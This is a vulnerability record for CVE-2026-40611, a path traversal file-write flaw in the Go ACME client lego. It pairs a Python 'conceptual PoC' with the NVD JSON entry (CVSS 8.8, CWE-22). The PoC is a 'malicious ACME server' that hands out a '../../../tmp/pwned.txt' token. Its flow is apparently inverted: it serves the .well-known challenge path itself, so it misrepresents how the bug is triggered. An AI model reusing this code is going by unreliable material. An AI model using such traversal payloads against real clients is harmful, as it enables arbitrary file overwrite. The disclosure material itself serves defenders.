CVE-2026-40611

# Conceptual PoC: Malicious ACME Server Response # This is a simulation of how the vulnerability is triggered. import http.server import socketserver import json class MaliciousACMEServer(http.server.BaseHTTPRequestHandler): def do_GET(self): # Simulating a challenge request if ".well-known/acme-challenge/" in self.path: # The crafted token containing path traversal # e.g., writing to /tmp/pwned.txt malicious_token = "../../../tmp/pwned.txt" key_authorization = "attacker_controlled_content" self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() # In a real scenario, the client would write this to the path derived from the token print(f"[+] Sending malicious token: {malicious_token}") self.wfile.write(f"{{\"token\": \"{malicious_token}\", \"keyAuthorization\": \"{key_authorization}\"}}".encode()) else: self.send_response(404) self.end_headers() if __name__ == "__main__": PORT = 8080 with socketserver.TCPServer(("", PORT), MaliciousACMEServer) as httpd: print(f"Serving malicious ACME response at port {PORT}") httpd.serve_forever() # Note: This demonstrates the concept of the crafted payload.

{"cve": {"id": "CVE-2026-40611", "sourceIdentifier": "[email protected]", "published": "2026-04-21T18:16:52.457", "lastModified": "2026-04-22T21:17:23.590", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8", "source": "[email protected]"}, {"url": "https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}